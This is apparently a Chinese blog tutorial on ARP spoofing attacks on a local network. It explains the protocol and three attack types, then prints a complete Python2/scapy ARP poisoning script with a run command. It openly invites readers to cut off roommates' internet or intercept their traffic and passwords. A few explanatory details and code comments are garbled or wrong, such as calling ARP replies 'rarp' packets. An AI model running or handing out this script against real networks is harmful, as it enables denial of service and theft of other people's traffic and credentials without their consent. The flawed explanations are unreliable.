arp欺骗

同局域网下arp欺骗攻击

试想一下这些场景,在寝室看学习或者睡觉的时候,室友疯狂吵闹,这个时候是不是很想断了他们的网。或者在夜深人静的时候,室友躲在被窝里,看着某些不可描述的场景,嘿嘿嘿的时候哦,是不是很想截取到他们的资源,这个时候处于同一局域网下的你,正好可以利用arp不验证用户身份的特性,进行arp欺骗

arp的原理

地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。简单来说就是当你向局域网某台主机发送请求的时候,你的机器只知道请求主机的ip不知道其mac地址,这个时候就需要通过arp协议向局域网发送广播的arp数据包,然后局域网中根据其ip进行应答,返回rarp数据包给请求的pc,但是arp协议并不校验身份信息,于是就产生了安全问题

arp的攻击方式

  1. 最常见的攻击方式-断网攻击,攻击者向受害者机器发送arp包,假设网关的ip为1.1.1.1,受害者机器ip为5.5.5.5,攻击机向受害者发送arp包,将受害者机器的arp表中的网关指向2.2.2.2使其数据无法经过网关转发出去,造成无法访问外网
  2. arp截取攻击,攻击者向受害者主机发送arp包,更新受害者的arp表,将网关地址改成攻击机地址,用于接收受害者发送的数据,可以通过此法获取各种帐号密码
  3. 欺骗网关,向网关发送arp包,将网关的arp更新,把受害者5.5.5.5的主机的mac更换成攻击机的mac地址,使得受害者无法接收网关转发给自己的数据

    arp攻击演示

    实验环境:
    虚拟机kali linux(不限,攻击机),物理主机windows10(受害者机器),将虚拟机和物理主机设置成同一网段下,虚拟机使用桥接模式
    ip1
    ip

上脚本进行断网攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/python
# _*_ coding=utf-8 _*_

import sys
import os
import signal
from scapy.all import (
get_if_hwaddr, # 获取本机的网络接口
getmacbyip, # 通过MAC换取IP
ARP, # ARP数据包构建
Ether, # 以太网数据包构建
sendp # 在第二层发送数据包
)

from optparse import OptionParser # 处理命令行参数


def main():
try:
if os.getuid() != 0:
print "[-]Run me as root"
sys.exit(1)
except BaseException: # 捕获所有的异常
print 'Something Error' # try中的函数执行发生异常的话,就执行Something Error

usage = 'Usage:%prog [-i interface][-t target] host' # 命令行参数相关
parser = OptionParser(usage)
parser.add_option('-i', dest='interface', help='Specify the interface to use')
parser.add_option('-t', dest='target', help='Specify a particular to ARP poison')
parser.add_option('-m', dest='mode', default='req',
help='Posioning mode:requests(req) or replies(rep) [default:%default]')
parser.add_option('-s', action='store_true', dest='summary', default=False,
help='Show packet summary and ask for confirmation before poisoning') # 内容被存入到summary中,比如
# store
# -s 10,则options.summary就等于10
# store_true
# -s,出现-s则options.summary就为True
(options, args) = parser.parse_args()

if len(args) != 1 or options.interface is None:
parser.print_help()
sys.exit(0)

mac = get_if_hwaddr(options.interface)

def build_req():
"""
以请求包的方式进行欺骗,目的是欺骗网关,让网关把所有的发给被害主机的数据给为本机发一份,同时被害主机毫无察觉。
"""
gateway_mac = getmacbyip(args[0])
if options is None: # 广播欺骗
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=options.target, hwdst=gateway_mac,
pdst=args[0], op=1)
elif options.target: # 定向欺骗
target_mac = getmacbyip(options.target)
if target_mac is None:
print "[-] Error: Could not resolve targets MAC address"
sys.exit(1)
pkt = Ether(src=mac, dst=gateway_mac) / ARP(hwsrc=mac, psrc=options.target, hwdst=gateway_mac, pdst=args[0],
op=1)
return pkt

def build_rep():
"""
以回应包的形式,只是在欺骗被攻击的主机,网关的mac是我这台主机的mac。
"""
if options.target is None: # 广播欺骗 骗所有人
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2)
elif options.target: # 广播欺骗 骗指定的人
target_mac = getmacbyip(options.target)
if target_mac is None:
print "[-] Error: Could not resolve targets MAC address"
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target,
op=2)
# 本机mac 受欺骗的主机mac 本机mac 网关的ip地址 被攻击人的mac 被攻击人的ip OP值是表示请求还是回应 1:请求 2:回应
# 从本机发往受欺骗主机, 内容是网关的mac是本机。
return pkt

if options.mode == 'req':
pkt = build_req()
elif options.mode == 'rep':
pkt = build_rep()

if options.summary is True:
pkt.show()
ans = raw_input('\n[*] Continue? [Y|n]: ').lower()
if ans == 'y' or len(ans) == 0:
pass
else:
sys.exit(0)
while True:
sendp(pkt, inter=2, iface=options.interface)


if __name__ == '__main__':
main()

攻击方式: python2 arp_spoof.py -i eth0 -t ip -m rep -s 网关ip
演示截图:
没有开始攻击的时候能够正常上网:
演示
进行攻击无法上网
攻击


ps:因为学校能够访问到ip所以就打码隐藏了

文章目录
  1. 1. 同局域网下arp欺骗攻击
    1. 1.0.1. arp的原理
    2. 1.0.2. arp的攻击方式
    3. 1.0.3. arp攻击演示
,